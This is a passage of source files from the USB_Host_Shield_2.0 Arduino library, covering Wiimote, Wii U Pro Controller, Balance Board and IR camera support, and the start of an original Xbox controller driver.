Notify(PSTR("\r\nChecking extension port"), 0x80); #endif stateCounter++; // We will use this counter as there has to be a short delay between the commands if(stateCounter == 50) statusRequest(); else if(stateCounter == 100) initExtension1(); else if(stateCounter == 150) if((extensionConnected && motionPlusConnected) || (unknownExtensionConnected && !motionPlusConnected)) initExtension2(); else stateCounter = 299; // There is no extension connected else if(stateCounter == 200) readExtensionType(); else if(stateCounter == 250) { if(wii_check_flag(WII_FLAG_NUNCHUCK_CONNECTED)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nNunchuck was reconnected"), 0x80); #endif activateNunchuck = true; nunchuckConnected = true; } if(!motionPlusConnected) stateCounter = 449; } else if(stateCounter == 300) { if(motionPlusConnected) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nReactivating the Motion Plus"), 0x80); #endif initMotionPlus(); } else stateCounter = 449; } else if(stateCounter == 350) activateMotionPlus(); else if(stateCounter == 400) readExtensionType(); // Check if it has been activated else if(stateCounter == 450) { onInit(); stateCounter = 0; unknownExtensionConnected = false; } } else stateCounter = 0; break; } } /************************************************************/ /* HID Commands */ /************************************************************/ void WII::HID_Command(uint8_t* data, uint8_t nbytes) { if(motionPlusInside) pBtd->L2CAP_Command(hci_handle, data, nbytes, interrupt_scid[0], interrupt_scid[1]); // It's the new Wiimote with the Motion Plus Inside or Wii U Pro controller else pBtd->L2CAP_Command(hci_handle, data, nbytes, control_scid[0], control_scid[1]); } void WII::setAllOff() { HIDBuffer[1] = 0x11; HIDBuffer[2] = 0x00; HID_Command(HIDBuffer, 3); } void WII::setRumbleOff() { HIDBuffer[1] = 0x11; HIDBuffer[2] &= ~0x01; // Bit 0 control the rumble HID_Command(HIDBuffer, 3); } void WII::setRumbleOn() { HIDBuffer[1] = 0x11; HIDBuffer[2] |= 0x01; // Bit 0 control the rumble HID_Command(HIDBuffer, 3); } void WII::setRumbleToggle() { HIDBuffer[1] = 0x11; HIDBuffer[2] ^= 0x01; // Bit 0 control the rumble HID_Command(HIDBuffer, 3); } void WII::setLedRaw(uint8_t value) { HIDBuffer[1] = 0x11; HIDBuffer[2] = value | (HIDBuffer[2] & 0x01); // Keep the rumble bit HID_Command(HIDBuffer, 3); } void WII::setLedOff(LEDEnum a) { HIDBuffer[1] = 0x11; HIDBuffer[2] &= ~(pgm_read_byte(&WII_LEDS[(uint8_t)a])); HID_Command(HIDBuffer, 3); } void WII::setLedOn(LEDEnum a) { if(a == OFF) setLedRaw(0); else { HIDBuffer[1] = 0x11; HIDBuffer[2] |= pgm_read_byte(&WII_LEDS[(uint8_t)a]); HID_Command(HIDBuffer, 3); } } void WII::setLedToggle(LEDEnum a) { HIDBuffer[1] = 0x11; HIDBuffer[2] ^= pgm_read_byte(&WII_LEDS[(uint8_t)a]); HID_Command(HIDBuffer, 3); } void WII::setLedStatus() { HIDBuffer[1] = 0x11; HIDBuffer[2] = (HIDBuffer[2] & 0x01); // Keep the rumble bit if(wiimoteConnected) HIDBuffer[2] |= 0x10; // If it's connected LED1 will light up if(motionPlusConnected) HIDBuffer[2] |= 0x20; // If it's connected LED2 will light up if(nunchuckConnected) HIDBuffer[2] |= 0x40; // If it's connected LED3 will light up HID_Command(HIDBuffer, 3); } uint8_t WII::getBatteryLevel() { checkBatteryLevel = true; // This is needed so the library knows that the status response is a response to this function statusRequest(); // This will update the battery level return batteryLevel; }; void WII::setReportMode(bool continuous, uint8_t mode) { #ifdef EXTRADEBUG Notify(PSTR("\r\nReport mode was changed to: "), 0x80); D_PrintHex (mode, 0x80); #endif uint8_t cmd_buf[4]; cmd_buf[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02) cmd_buf[1] = 0x12; if(continuous) cmd_buf[2] = 0x04 | (HIDBuffer[2] & 0x01); // Keep the rumble bit else cmd_buf[2] = 0x00 | (HIDBuffer[2] & 0x01); // Keep the rumble bit cmd_buf[3] = mode; HID_Command(cmd_buf, 4); } void WII::statusRequest() { uint8_t cmd_buf[3]; cmd_buf[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02) cmd_buf[1] = 0x15; cmd_buf[2] = (HIDBuffer[2] & 0x01); // Keep the rumble bit HID_Command(cmd_buf, 3); } /************************************************************/ /* Memmory Commands */ /************************************************************/ void WII::writeData(uint32_t offset, uint8_t size, uint8_t* data) { uint8_t cmd_buf[23]; cmd_buf[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02) cmd_buf[1] = 0x16; // Write data cmd_buf[2] = 0x04 | (HIDBuffer[2] & 0x01); // Write to memory, clear bit 2 to write to EEPROM cmd_buf[3] = (uint8_t)((offset & 0xFF0000) >> 16); cmd_buf[4] = (uint8_t)((offset & 0xFF00) >> 8); cmd_buf[5] = (uint8_t)(offset & 0xFF); cmd_buf[6] = size; uint8_t i = 0; for(; i < size; i++) cmd_buf[7 + i] = data[i]; for(; i < 16; i++) // Set the rest to zero cmd_buf[7 + i] = 0x00; HID_Command(cmd_buf, 23); } void WII::initExtension1() { uint8_t buf[1]; buf[0] = 0x55; writeData(0xA400F0, 1, buf); } void WII::initExtension2() { uint8_t buf[1]; buf[0] = 0x00; writeData(0xA400FB, 1, buf); } void WII::initMotionPlus() { uint8_t buf[1]; buf[0] = 0x55; writeData(0xA600F0, 1, buf); } void WII::activateMotionPlus() { uint8_t buf[1]; if(pBtd->wiiUProController) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nActivating Wii U Pro Controller"), 0x80); #endif buf[0] = 0x00; // It seems like you can send anything but 0x04, 0x05, and 0x07 } else if(activateNunchuck) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nActivating Motion Plus in pass-through mode"), 0x80); #endif buf[0] = 0x05; // Activate nunchuck pass-through mode }//else if(classicControllerConnected && extensionConnected) //buf[0] = 0x07; else { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nActivating Motion Plus in normal mode"), 0x80); #endif buf[0] = 0x04; // Don't use any extension } writeData(0xA600FE, 1, buf); } void WII::readData(uint32_t offset, uint16_t size, bool EEPROM) { uint8_t cmd_buf[8]; cmd_buf[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02) cmd_buf[1] = 0x17; // Read data if(EEPROM) cmd_buf[2] = 0x00 | (HIDBuffer[2] & 0x01); // Read from EEPROM else cmd_buf[2] = 0x04 | (HIDBuffer[2] & 0x01); // Read from memory cmd_buf[3] = (uint8_t)((offset & 0xFF0000) >> 16); cmd_buf[4] = (uint8_t)((offset & 0xFF00) >> 8); cmd_buf[5] = (uint8_t)(offset & 0xFF); cmd_buf[6] = (uint8_t)((size & 0xFF00) >> 8); cmd_buf[7] = (uint8_t)(size & 0xFF); HID_Command(cmd_buf, 8); } void WII::readExtensionType() { readData(0xA400FA, 6, false); } void WII::readCalData() { readData(0x0016, 8, true); } void WII::checkMotionPresent() { readData(0xA600FA, 6, false); } void WII::readWiiBalanceBoardCalibration() { readData(0xA40024, 24, false); } /************************************************************/ /* WII Commands */ /************************************************************/ bool WII::getButtonPress(ButtonEnum b) { // Return true when a button is pressed if(wiiUProControllerConnected) return (ButtonState & pgm_read_dword(&WII_PROCONTROLLER_BUTTONS[(uint8_t)b])); else return (ButtonState & pgm_read_dword(&WII_BUTTONS[(uint8_t)b])); } bool WII::getButtonClick(ButtonEnum b) { // Only return true when a button is clicked uint32_t button; if(wiiUProControllerConnected) button = pgm_read_dword(&WII_PROCONTROLLER_BUTTONS[(uint8_t)b]); else button = pgm_read_dword(&WII_BUTTONS[(uint8_t)b]); bool click = (ButtonClickState & button); ButtonClickState &= ~button; // clear "click" event return click; } uint8_t WII::getAnalogHat(HatEnum a) { if(!nunchuckConnected) return 127; // Return center position else { uint8_t output = hatValues[(uint8_t)a]; if(output == 0xFF || output == 0x00) // The joystick will only read 255 or 0 when the cable is unplugged or initializing, so we will just return the center position return 127; else return output; } } uint16_t WII::getAnalogHat(AnalogHatEnum a) { if(!wiiUProControllerConnected) return 2000; else { uint16_t output = hatValues[(uint8_t)a]; if(output == 0x00) // The joystick will only read 0 when it is first initializing, so we will just return the center position return 2000; else return output; } } void WII::onInit() { if(pFuncOnInit) pFuncOnInit(); // Call the user function else setLedStatus(); } /************************************************************/ /* Wii Balance Board Commands */ /************************************************************/ float WII::getWeight(BalanceBoardEnum pos) { // Use interpolating between two points - based on: https://github.com/skorokithakis/gr8w8upd8m8/blob/master/gr8w8upd8m8.py // wiiBalanceBoardCal[pos][0] is calibration values for 0 kg // wiiBalanceBoardCal[pos][1] is calibration values for 17 kg // wiiBalanceBoardCal[pos][2] is calibration values for 34 kg if(wiiBalanceBoardRaw[pos] < wiiBalanceBoardCal[0][pos]) return 0.0f; // Below 0 kg else if(wiiBalanceBoardRaw[pos] < wiiBalanceBoardCal[1][pos]) // Between 0 and 17 kg return 17.0f * (float)(wiiBalanceBoardRaw[pos] - wiiBalanceBoardCal[0][pos]) / (float)(wiiBalanceBoardCal[1][pos] - wiiBalanceBoardCal[0][pos]); else // More than 17 kg return 17.0f + 17.0f * (float)(wiiBalanceBoardRaw[pos] - wiiBalanceBoardCal[1][pos]) / (float)(wiiBalanceBoardCal[2][pos] - wiiBalanceBoardCal[1][pos]); }; float WII::getTotalWeight() { return getWeight(TopRight) + getWeight(BotRight) + getWeight(TopLeft) + getWeight(BotLeft); }; /************************************************************/ /* The following functions are for the IR camera */ /************************************************************/ #ifdef WIICAMERA void WII::IRinitialize() { // Turns on and initialises the IR camera enableIRCamera1(); #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nEnable IR Camera1 Complete"), 0x80); #endif delay(80); enableIRCamera2(); #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nEnable IR Camera2 Complete"), 0x80); #endif delay(80); write0x08Value(); #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nWrote hex number 0x08"), 0x80); #endif delay(80); writeSensitivityBlock1(); #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nWrote Sensitivity Block 1"), 0x80); #endif delay(80); writeSensitivityBlock2(); #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nWrote Sensitivity Block 2"), 0x80); #endif delay(80); uint8_t mode_num = 0x03; setWiiModeNumber(mode_num); // Change input for whatever mode you want i.e. 0x01, 0x03, or 0x05 #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSet Wii Mode Number To 0x"), 0x80); D_PrintHex (mode_num, 0x80); #endif delay(80); write0x08Value(); #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nWrote Hex Number 0x08"), 0x80); #endif delay(80); setReportMode(false, 0x33); //setReportMode(false, 0x3f); // For full reporting mode, doesn't work yet #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSet Report Mode to 0x33"), 0x80); #endif delay(80); statusRequest(); // Used to update wiiState - call isIRCameraEnabled() afterwards to check if it actually worked #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nIR Initialized"), 0x80); #endif } void WII::enableIRCamera1() { uint8_t cmd_buf[3]; cmd_buf[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02) cmd_buf[1] = 0x13; // Output report 13 cmd_buf[2] = 0x04 | (HIDBuffer[2] & 0x01); // Keep the rumble bit and sets bit 2 HID_Command(cmd_buf, 3); } void WII::enableIRCamera2() { uint8_t cmd_buf[3]; cmd_buf[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02) cmd_buf[1] = 0x1A; // Output report 1A cmd_buf[2] = 0x04 | (HIDBuffer[2] & 0x01); // Keep the rumble bit and sets bit 2 HID_Command(cmd_buf, 3); } void WII::writeSensitivityBlock1() { uint8_t buf[9]; buf[0] = 0x00; buf[1] = 0x00; buf[2] = 0x00; buf[3] = 0x00; buf[4] = 0x00; buf[5] = 0x00; buf[6] = 0x90; buf[7] = 0x00; buf[8] = 0x41; writeData(0xB00000, 9, buf); } void WII::writeSensitivityBlock2() { uint8_t buf[2]; buf[0] = 0x40; buf[1] = 0x00; writeData(0xB0001A, 2, buf); } void WII::write0x08Value() { uint8_t cmd = 0x08; writeData(0xb00030, 1, &cmd); } void WII::setWiiModeNumber(uint8_t mode_number) { // mode_number in hex i.e. 0x03 for extended mode writeData(0xb00033, 1, &mode_number); } #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/Wii.h ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com IR camera support added by Allan Glover (adglover9.81@gmail.com) and Kristian Lauszus */ #ifndef _wii_h_ #define _wii_h_ #include "BTD.h" #include "controllerEnums.h" /* Wii event flags */ #define WII_FLAG_MOTION_PLUS_CONNECTED (1 << 0) #define WII_FLAG_NUNCHUCK_CONNECTED (1 << 1) #define WII_FLAG_CALIBRATE_BALANCE_BOARD (1 << 2) #define wii_check_flag(flag) (wii_event_flag & (flag)) #define wii_set_flag(flag) (wii_event_flag |= (flag)) #define wii_clear_flag(flag) (wii_event_flag &= ~(flag)) /** Enum used to read the joystick on the Nunchuck. */ enum HatEnum { /** Read the x-axis on the Nunchuck joystick. */ HatX = 0, /** Read the y-axis on the Nunchuck joystick. */ HatY = 1, }; /** Enum used to read the weight on Wii Balance Board. */ enum BalanceBoardEnum { TopRight = 0, BotRight = 1, TopLeft = 2, BotLeft = 3, }; /** * This BluetoothService class implements support for the Wiimote including the Nunchuck and Motion Plus extension. * * It also support the Wii U Pro Controller. */ class WII : public BluetoothService { public: /** * Constructor for the WII class. * @param p Pointer to BTD class instance. * @param pair Set this to true in order to pair with the Wiimote. If the argument is omitted then it won't pair with it. * One can use ::PAIR to set it to true. */ WII(BTD *p, bool pair = false); /** @name BluetoothService implementation */ /** Used this to disconnect any of the controllers. */ void disconnect(); /**@}*/ /** @name Wii Controller functions */ /** * getButtonPress(Button b) will return true as long as the button is held down. * * While getButtonClick(Button b) will only return it once. * * So you instance if you need to increase a variable once you would use getButtonClick(Button b), * but if you need to drive a robot forward you would use getButtonPress(Button b). * @param b ::ButtonEnum to read. * @return getButtonPress(ButtonEnum b) will return a true as long as a button is held down, while getButtonClick(ButtonEnum b) will return true once for each button press. */ bool getButtonPress(ButtonEnum b); bool getButtonClick(ButtonEnum b); /**@}*/ /** @name Wii Controller functions */ /** Call this to start the pairing sequence with a controller */ void pair(void) { if(pBtd) pBtd->pairWithWiimote(); }; /** * Used to read the joystick of the Nunchuck. * @param a Either ::HatX or ::HatY. * @return Return the analog value in the range from approximately 25-230. */ uint8_t getAnalogHat(HatEnum a); /** * Used to read the joystick of the Wii U Pro Controller. * @param a Either ::LeftHatX, ::LeftHatY, ::RightHatX or ::RightHatY. * @return Return the analog value in the range from approximately 800-3200. */ uint16_t getAnalogHat(AnalogHatEnum a); /** * Pitch calculated from the Wiimote. A complimentary filter is used if the Motion Plus is connected. * @return Pitch in the range from 0-360. */ float getPitch() { if(motionPlusConnected) return compPitch; return getWiimotePitch(); }; /** * Roll calculated from the Wiimote. A complimentary filter is used if the Motion Plus is connected. * @return Roll in the range from 0-360. */ float getRoll() { if(motionPlusConnected) return compRoll; return getWiimoteRoll(); }; /** * This is the yaw calculated by the gyro. * * NOTE: This angle will drift a lot and is only available if the Motion Plus extension is connected. * @return The angle calculated using the gyro. */ float getYaw() { return gyroYaw; }; /** Used to set all LEDs and rumble off. */ void setAllOff(); /** Turn off rumble. */ void setRumbleOff(); /** Turn on rumble. */ void setRumbleOn(); /** Toggle rumble. */ void setRumbleToggle(); /** * Set LED value without using the ::LEDEnum. * @param value See: ::LEDEnum. */ void setLedRaw(uint8_t value); /** Turn all LEDs off. */ void setLedOff() { setLedRaw(0); }; /** * Turn the specific ::LEDEnum off. * @param a The ::LEDEnum to turn off. */ void setLedOff(LEDEnum a); /** * Turn the specific ::LEDEnum on. * @param a The ::LEDEnum to turn on. */ void setLedOn(LEDEnum a); /** * Toggle the specific ::LEDEnum. * @param a The ::LEDEnum to toggle. */ void setLedToggle(LEDEnum a); /** * This will set the LEDs, so the user can see which connections are active. * * The first ::LEDEnum indicate that the Wiimote is connected, * the second ::LEDEnum indicate indicate that a Motion Plus is also connected * the third ::LEDEnum will indicate that a Nunchuck controller is also connected. */ void setLedStatus(); /** * Return the battery level of the Wiimote. * @return The battery level in the range 0-255. */ uint8_t getBatteryLevel(); /** * Return the Wiimote state. * @return See: http://wiibrew.org/wiki/Wiimote#0x20:_Status. */ uint8_t getWiiState() { return wiiState; }; /**@}*/ /**@{*/ /** Variable used to indicate if a Wiimote is connected. */ bool wiimoteConnected; /** Variable used to indicate if a Nunchuck controller is connected. */ bool nunchuckConnected; /** Variable used to indicate if a Nunchuck controller is connected. */ bool motionPlusConnected; /** Variable used to indicate if a Wii U Pro controller is connected. */ bool wiiUProControllerConnected; /** Variable used to indicate if a Wii Balance Board is connected. */ bool wiiBalanceBoardConnected; /**@}*/ /* IMU Data, might be usefull if you need to do something more advanced than just calculating the angle */ /**@{*/ /** Pitch and roll calculated from the accelerometer inside the Wiimote. */ float getWiimotePitch() { return (atan2f(accYwiimote, accZwiimote) + PI) * RAD_TO_DEG; }; float getWiimoteRoll() { return (atan2f(accXwiimote, accZwiimote) + PI) * RAD_TO_DEG; }; /**@}*/ /**@{*/ /** Pitch and roll calculated from the accelerometer inside the Nunchuck. */ float getNunchuckPitch() { return (atan2f(accYnunchuck, accZnunchuck) + PI) * RAD_TO_DEG; }; float getNunchuckRoll() { return (atan2f(accXnunchuck, accZnunchuck) + PI) * RAD_TO_DEG; }; /**@}*/ /**@{*/ /** Accelerometer values used to calculate pitch and roll. */ int16_t accXwiimote, accYwiimote, accZwiimote; int16_t accXnunchuck, accYnunchuck, accZnunchuck; /**@}*/ /* Variables for the gyro inside the Motion Plus */ /** This is the pitch calculated by the gyro - use this to tune WII#pitchGyroScale. */ float gyroPitch; /** This is the roll calculated by the gyro - use this to tune WII#rollGyroScale. */ float gyroRoll; /** This is the yaw calculated by the gyro - use this to tune WII#yawGyroScale. */ float gyroYaw; /**@{*/ /** The speed in deg/s from the gyro. */ float pitchGyroSpeed; float rollGyroSpeed; float yawGyroSpeed; /**@}*/ /**@{*/ /** You might need to fine-tune these values. */ uint16_t pitchGyroScale; uint16_t rollGyroScale; uint16_t yawGyroScale; /**@}*/ /**@{*/ /** Raw value read directly from the Motion Plus. */ int16_t gyroYawRaw; int16_t gyroRollRaw; int16_t gyroPitchRaw; /**@}*/ /**@{*/ /** These values are set when the controller is first initialized. */ int16_t gyroYawZero; int16_t gyroRollZero; int16_t gyroPitchZero; /**@}*/ /** @name Wii Balance Board functions */ /** * Used to get the weight at the specific position on the Wii Balance Board. * @param pos ::BalanceBoardEnum to read from. * @return Returns the weight in kg. */ float getWeight(BalanceBoardEnum pos); /** * Used to get total weight on the Wii Balance Board. * @return Returns the weight in kg. */ float getTotalWeight(); /** * Used to get the raw reading at the specific position on the Wii Balance Board. * @param pos ::BalanceBoardEnum to read from. * @return Returns the raw reading. */ uint16_t getWeightRaw(BalanceBoardEnum pos) { return wiiBalanceBoardRaw[pos]; }; /**@}*/ #ifdef WIICAMERA /** @name Wiimote IR camera functions * You will have to set ::ENABLE_WII_IR_CAMERA in settings.h to 1 in order use the IR camera. */ /** Initialises the camera as per the steps from: http://wiibrew.org/wiki/Wiimote#IR_Camera */ void IRinitialize(); /** * IR object 1 x-position read from the Wii IR camera. * @return The x-position of the object in the range 0-1023. */ uint16_t getIRx1() { return IR_object_x1; }; /** * IR object 1 y-position read from the Wii IR camera. * @return The y-position of the object in the range 0-767. */ uint16_t getIRy1() { return IR_object_y1; }; /** * IR object 1 size read from the Wii IR camera. * @return The size of the object in the range 0-15. */ uint8_t getIRs1() { return IR_object_s1; }; /** * IR object 2 x-position read from the Wii IR camera. * @return The x-position of the object in the range 0-1023. */ uint16_t getIRx2() { return IR_object_x2; }; /** * IR object 2 y-position read from the Wii IR camera. * @return The y-position of the object in the range 0-767. */ uint16_t getIRy2() { return IR_object_y2; }; /** * IR object 2 size read from the Wii IR camera. * @return The size of the object in the range 0-15. */ uint8_t getIRs2() { return IR_object_s2; }; /** * IR object 3 x-position read from the Wii IR camera. * @return The x-position of the object in the range 0-1023. */ uint16_t getIRx3() { return IR_object_x3; }; /** * IR object 3 y-position read from the Wii IR camera. * @return The y-position of the object in the range 0-767. */ uint16_t getIRy3() { return IR_object_y3; }; /** * IR object 3 size read from the Wii IR camera. * @return The size of the object in the range 0-15. */ uint8_t getIRs3() { return IR_object_s3; }; /** * IR object 4 x-position read from the Wii IR camera. * @return The x-position of the object in the range 0-1023. */ uint16_t getIRx4() { return IR_object_x4; }; /** * IR object 4 y-position read from the Wii IR camera. * @return The y-position of the object in the range 0-767. */ uint16_t getIRy4() { return IR_object_y4; }; /** * IR object 4 size read from the Wii IR camera. * @return The size of the object in the range 0-15. */ uint8_t getIRs4() { return IR_object_s4; }; /** * Use this to check if the camera is enabled or not. * If not call WII#IRinitialize to initialize the IR camera. * @return True if it's enabled, false if not. */ bool isIRCameraEnabled() { return (wiiState & 0x08); }; /**@}*/ #endif protected: /** @name BluetoothService implementation */ /** * Used to pass acldata to the services. * @param ACLData Incoming acldata. */ void ACLData(uint8_t* ACLData); /** Used to run part of the state machine. */ void Run(); /** Use this to reset the service. */ void Reset(); /** * Called when the controller is successfully initialized. * Use attachOnInit(void (*funcOnInit)(void)) to call your own function. * This is useful for instance if you want to set the LEDs in a specific way. */ void onInit(); /**@}*/ private: void L2CAP_task(); // L2CAP state machine /* Variables filled from HCI event management */ bool activeConnection; // Used to indicate if it's already has established a connection /* Variables used by high level L2CAP task */ uint8_t l2cap_state; uint8_t wii_event_flag; // Used for Wii flags uint32_t ButtonState; uint32_t OldButtonState; uint32_t ButtonClickState; uint16_t hatValues[4]; uint8_t HIDBuffer[3]; // Used to store HID commands uint16_t stateCounter; bool unknownExtensionConnected; bool extensionConnected; bool checkBatteryLevel; // Set to true when getBatteryLevel() is called otherwise if should be false bool motionPlusInside; // True if it's a new Wiimote with the Motion Plus extension build into it /* L2CAP Channels */ uint8_t control_scid[2]; // L2CAP source CID for HID_Control uint8_t control_dcid[2]; // 0x0060 uint8_t interrupt_scid[2]; // L2CAP source CID for HID_Interrupt uint8_t interrupt_dcid[2]; // 0x0061 /* HID Commands */ void HID_Command(uint8_t* data, uint8_t nbytes); void setReportMode(bool continuous, uint8_t mode); void writeData(uint32_t offset, uint8_t size, uint8_t* data); void initExtension1(); void initExtension2(); void statusRequest(); // Used to update the Wiimote state and battery level void readData(uint32_t offset, uint16_t size, bool EEPROM); void readExtensionType(); void readCalData(); void readWiiBalanceBoardCalibration(); // Used by the library to read the Wii Balance Board calibration values void checkMotionPresent(); // Used to see if a Motion Plus is connected to the Wiimote void initMotionPlus(); void activateMotionPlus(); uint16_t wiiBalanceBoardRaw[4]; // Wii Balance Board raw values uint16_t wiiBalanceBoardCal[3][4]; // Wii Balance Board calibration values float compPitch; // Fusioned angle using a complimentary filter if the Motion Plus is connected float compRoll; // Fusioned angle using a complimentary filter if the Motion Plus is connected bool activateNunchuck; bool motionValuesReset; // This bool is true when the gyro values has been reset uint32_t timer; uint8_t wiiState; // Stores the value in l2capinbuf[12] - (0x01: Battery is nearly empty), (0x02: An Extension Controller is connected), (0x04: Speaker enabled), (0x08: IR enabled), (0x10: LED1, 0x20: LED2, 0x40: LED3, 0x80: LED4) uint8_t batteryLevel; #ifdef WIICAMERA /* Private function and variables for the readings from the IR Camera */ void enableIRCamera1(); // Sets bit 2 of output report 13 void enableIRCamera2(); // Sets bit 2 of output report 1A void writeSensitivityBlock1(); void writeSensitivityBlock2(); void write0x08Value(); void setWiiModeNumber(uint8_t mode_number); uint16_t IR_object_x1; // IR x position 10 bits uint16_t IR_object_y1; // IR y position 10 bits uint8_t IR_object_s1; // IR size value uint16_t IR_object_x2; uint16_t IR_object_y2; uint8_t IR_object_s2; uint16_t IR_object_x3; // IR x position 10 bits uint16_t IR_object_y3; // IR y position 10 bits uint8_t IR_object_s3; // IR size value uint16_t IR_object_x4; uint16_t IR_object_y4; uint8_t IR_object_s4; #endif }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/WiiCameraReadme.md ================================================ Please see for the complete capabilities of the Wii camera. The IR camera code was written based on the above website and with support from Kristian Lauszus. This library is large, if you run into memory problems when uploading to the Arduino, disable serial debugging. To enable the IR camera code, simply set ```ENABLE_WII_IR_CAMERA``` to 1 in [settings.h](settings.h). This library implements the following settings: * Report sensitivity mode: 00 00 00 00 00 00 90 00 41 40 00 Suggested by inio (high sensitivity) * Data Format: Extended mode (0x03). Full mode is not working yet. The output reports 0x3e and 0x3f need tampering with * In this mode the camera outputs x and y coordinates and a size dimension for the 4 brightest points. Again, read through to get an understanding of the camera and its settings. ================================================ FILE: libraries/USB_Host_Shield_2.0/XBOXOLD.cpp ================================================ /* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #include "XBOXOLD.h" // To enable serial debugging see "settings.h" //#define EXTRADEBUG // Uncomment to get even more debugging data //#define PRINTREPORT // Uncomment to print the report send by the Xbox controller /** Buttons on the controllers */ const uint8_t XBOXOLD_BUTTONS[] PROGMEM = { 0x01, // UP 0x08, // RIGHT 0x02, // DOWN 0x04, // LEFT 0x20, // BACK 0x10, // START 0x40, // L3 0x80, // R3 // A, B, X, Y, BLACK, WHITE, L1, and R1 are analog buttons 4, // BLACK 5, // WHTIE 6, // L1 7, // R1 1, // B 0, // A 2, // X 3, // Y }; XBOXOLD::XBOXOLD(USB *p) : pUsb(p), // pointer to USB class instance - mandatory bAddress(0), // device address - mandatory bPollEnable(false) { // don't start polling before dongle is connected for(uint8_t i = 0; i < XBOX_MAX_ENDPOINTS; i++) { epInfo[i].epAddr = 0; epInfo[i].maxPktSize = (i) ? 0 : 8; epInfo[i].bmSndToggle = 0; epInfo[i].bmRcvToggle = 0; epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER; } if(pUsb) // register in USB subsystem pUsb->RegisterDeviceClass(this); //set devConfig[] entry } uint8_t XBOXOLD::Init(uint8_t parent, uint8_t port, bool lowspeed) { uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; uint16_t PID; uint16_t VID; // get memory address of USB device address pool AddressPool &addrPool = pUsb->GetAddressPool(); #ifdef EXTRADEBUG Notify(PSTR("\r\nXBOXUSB Init"), 0x80); #endif // check if address has already been assigned to an instance if(bAddress) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress in use"), 0x80); #endif return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; } // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress not found"), 0x80); #endif return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } if(!p->epinfo) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nepinfo is null"), 0x80); #endif return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf); // Get device descriptor - addr, ep, nbytes, data // Restore p->epinfo p->epinfo = oldep_ptr; if(rcode) goto FailGetDevDescr; VID = udd->idVendor; PID = udd->idProduct; if((VID != XBOX_VID && VID != MADCATZ_VID && VID != JOYTECH_VID) || (PID != XBOX_OLD_PID1 && PID != XBOX_OLD_PID2 && PID != XBOX_OLD_PID3 && PID != XBOX_OLD_PID4)) // Check if VID and PID match goto FailUnknownDevice; // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); if(!bAddress) return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; // Extract Max Packet Size from device descriptor epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); if(rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nsetAddr: "), 0x80); D_PrintHex (rcode, 0x80); #endif return rcode; } #ifdef EXTRADEBUG Notify(PSTR("\r\nAddr: "), 0x80); D_PrintHex (bAddress, 0x80); #endif //delay(300); // Spec says you should wait at least 200ms p->lowspeed = false; //get pointer to assigned address record p = addrPool.GetUsbDevicePtr(bAddress); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; p->lowspeed = lowspeed; // Assign epInfo to epinfo pointer - only EP0 is known rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); if(rcode) goto FailSetDevTblEntry; /* The application will work in reduced host mode, so we can save program and data memory space. After verifying the VID we will use known values for the configuration values for device, interface, endpoints and HID for the XBOX controllers */ /* Initialize data structures for endpoints of device */ epInfo[ 